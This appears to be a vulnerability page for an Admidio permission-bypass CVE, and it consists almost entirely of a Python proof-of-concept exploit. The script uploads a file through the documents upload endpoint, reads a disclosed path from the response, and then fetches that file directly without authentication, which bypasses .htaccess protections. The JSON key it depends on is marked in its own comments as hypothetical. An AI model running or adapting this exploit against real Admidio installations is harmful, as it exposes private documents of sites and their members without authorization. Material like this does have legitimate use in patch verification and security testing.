CVE-2026-34381 Admidio权限绕过漏洞

import requests import json # Target URL (Example) target_url = "http://target-admidio-domain.com" login_url = f"{target_url}/adm_program/modules/documents/documents_upload.php" # Attacker's file files = {'userfile': ('exploit_test.txt', 'Sensitive Content', 'text/plain')} # Step 1: Upload the file to get the path # Note: Depending on config, authentication might be needed for upload, but file access is the issue. # Assuming upload endpoint is reachable or we have a low-priv user. session = requests.Session() response = session.post(login_url, files=files) if response.status_code == 200: try: data = response.json() # Extract file path from JSON response file_path = data.get('file_path') # Hypothetical key based on description print(f"[+] File uploaded. Path disclosed: {file_path}") # Step 2: Access the file directly without authentication # The vulnerability states .htaccess is ignored, so direct access works. direct_access_url = f"{target_url}/{file_path}" print(f"[*] Attempting direct access: {direct_access_url}") file_response = requests.get(direct_access_url) if file_response.status_code == 200: print("[!] Vulnerability Confirmed! File content downloaded:") print(file_response.text) else: print("[-] Failed to access file directly.") except json.JSONDecodeError: print("[-] Could not parse JSON response.") else: print(f"[-] Upload failed with status code: {response.status_code}")